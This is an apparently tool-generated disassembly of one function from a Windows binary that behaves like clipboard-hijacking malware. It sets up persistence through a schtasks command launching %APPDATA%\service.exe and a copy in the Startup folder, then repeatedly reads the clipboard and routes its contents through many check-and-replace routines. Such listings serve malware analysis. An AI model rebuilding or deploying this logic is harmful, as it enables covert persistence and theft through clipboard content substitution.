Function at 0x4054c0
Capabilities:
Create process on windows
Open clipboard
Query environment variable
Read clipboard data
Schedule task via at
Schedule task via schtasks

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
lea edi, [ebp - 0x324]
lea esi, [ebp - 0x220]
lea ebx, [ebp - 0x11c]
sub esp, 0x338
call fcn.00403290
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str._C_schtasks__create__tn_WinApp__tr__APPDATA__service.exe__st_00:00__du_9999:59__sc_daily__ri_1__f
mov dword [esp + 8], str.cmd.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 4], edi
mov dword [esp + 8], 0x104
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], esi
mov dword [esp + 8], 0x104
mov dword [esp], str._APPDATA_
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
sub esp, 0xc
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 0xc], str.service.exe
mov dword [esp + 4], str._s_s
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.00402ca0
mov dword [esp + 4], esi
mov dword [esp + 8], 0x104
mov dword [esp], str._APPDATA_MicrosoftWindowsStart_MenuProgramsStartup
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
sub esp, 0xc
mov dword [esp + 0xc], str.service.exe
mov dword [esp + 8], esi
mov dword [esp + 4], str._s_s
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.00402d00
jmp 0x4055e2
mov dword [esp], 0x12c
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x4055d3
mov dword [esp], 1
call sub.USER32.dll_GetClipboardData
sub esp, 4
test eax, eax
mov esi, eax
je 0x405740
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
test eax, eax
mov ebx, eax
je 0x405740
mov dword [esp], esi
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], ebx
call fcn.00401ad0
test al, al
jne 0x405760
mov dword [esp], ebx
call fcn.00401970
test al, al
jne 0x405750
mov dword [esp], ebx
call fcn.004026d0
test al, al
jne 0x405770
mov dword [esp], ebx
call fcn.00402810
test al, al
jne 0x405780
mov dword [esp], ebx
call fcn.004028e0
test al, al
jne 0x405790
mov dword [esp], ebx
call fcn.00402a30
test al, al
jne 0x4057a0
mov dword [esp], ebx
call fcn.004029c0
test al, al
jne 0x4057a7
mov dword [esp], ebx
call fcn.00402960
test al, al
jne 0x4057ae
mov dword [esp], ebx
call fcn.00402b00
test al, al
jne 0x4057b5
mov dword [esp], ebx
call fcn.00402a90
test al, al
jne 0x4057bc
mov dword [esp], ebx
call fcn.00402b70
test al, al
jne 0x4057c6
mov dword [esp], ebx
call fcn.004027b0
test al, al
jne 0x4057d0
mov dword [esp], ebx
call fcn.00402be0
test al, al
jne 0x4057da
mov dword [esp], ebx
call fcn.00402c40
test al, al
jne 0x4057e4
mov dword [esp], ebx
call fcn.00402870
test al, al
jne 0x4057ee
mov dword [esp], ebx
call fcn.00402740
test al, al
jne 0x4057f8
mov dword [esp], ebx
call fcn.004015b0
test al, al
jne 0x405802
nop
call sub.USER32.dll_CloseClipboard
jmp 0x4055d3
call fcn.004019d0
jmp 0x405740
call fcn.00401b30
jmp 0x40563e
call fcn.00401610
jmp 0x405740
call fcn.00401730
jmp 0x405740
call fcn.00401c30
jmp 0x405740
call fcn.004021e0
jmp 0x405740
call fcn.00401e50
jmp 0x405740
call fcn.00401d50
jmp 0x405740
call fcn.004020f0
jmp 0x405740
call fcn.00401ef0
jmp 0x405740
call fcn.00401ff0
jmp 0x405740
call fcn.00402380
jmp 0x405740
call fcn.004024a0
jmp 0x405740
call fcn.004025a0
jmp 0x405740
call fcn.00401850
jmp 0x405740
call fcn.004022e0
jmp 0x405740
call fcn.00401460
jmp 0x405740